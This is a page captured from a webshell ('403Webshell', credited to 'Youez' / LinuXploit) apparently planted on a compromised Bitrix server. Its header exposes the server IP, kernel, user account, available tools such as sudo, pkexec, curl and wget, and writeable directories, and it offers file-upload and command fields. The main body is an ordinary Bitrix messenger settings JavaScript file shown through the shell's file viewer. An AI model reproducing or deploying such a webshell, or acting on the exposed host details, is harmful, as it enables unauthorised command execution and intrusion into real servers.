403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/v2/component/recent-list/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/v2/component/recent-list/src/settings-manager.js
import {Type} from 'main.core';
import {EventEmitter} from 'main.core.events';
import {EventType, SettingsMap, RecentSettingsMap} from 'im.v2.const';
import {Logger} from 'im.v2.lib.logger';
import {Utils} from 'im.v2.lib.utils';

export class SettingsManager
{
	static instance = null;
	store: Object = null;

	static init($Bitrix): void
	{
		if (this.instance)
		{
			return;
		}

		this.instance = new this($Bitrix);
	}

	constructor($Bitrix)
	{
		this.store = $Bitrix.Data.get('controller').store;
		this.initSettings();

		this.onSettingsChangeHandler = this.onSettingsChange.bind(this);
		EventEmitter.subscribe(EventType.dialog.settingsChange, this.onSettingsChangeHandler);

		if (Utils.platform.isBitrixDesktop() && !Type.isUndefined(BX.desktop))
		{
			BX.desktop.addCustomEvent('bxSaveSettings', (settings) => {
				this.onSettingsChangeHandler({data: settings});
			});
		}
	}

	initSettings()
	{
		if (!BX.MessengerProxy)
		{
			console.error('Im.RecentList: SettingsManager: BX.MessengerProxy is not available');
			return false;
		}

		this.initGeneralSettings();
		this.initRecentSettings();
	}

	initGeneralSettings()
	{
		const initialSettings = {};
		Object.entries(SettingsMap).forEach(([oldName, name]) => {
			initialSettings[name] = BX.MessengerProxy.getOption(oldName);
		});

		this.store.dispatch('application/setOptions', initialSettings);
	}

	initRecentSettings()
	{
		const initialSettings = {};
		Object.entries(RecentSettingsMap).forEach(([oldName, name]) => {
			initialSettings[name] = BX.MessengerProxy.getOption(oldName);
		});

		this.store.dispatch('recent/setOptions', initialSettings);
	}

	onSettingsChange({data: event})
	{
		Logger.warn('Im.RecentList: SettingsChange', event);
		const generalSettings = {};
		const recentSettings = {};
		Object.entries(event).forEach(([name, value]) => {
			if (Object.keys(RecentSettingsMap).includes(name))
			{
				recentSettings[RecentSettingsMap[name]] = value;
			}

			if (Object.keys(SettingsMap).includes(name))
			{
				generalSettings[SettingsMap[name]] = value;
			}
		});

		this.store.dispatch('application/setOptions', generalSettings);
		this.store.dispatch('recent/setOptions', recentSettings);
	}

	destroy()
	{
		EventEmitter.unsubscribe(EventType.dialog.settingsChange, this.onSettingsChangeHandler);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit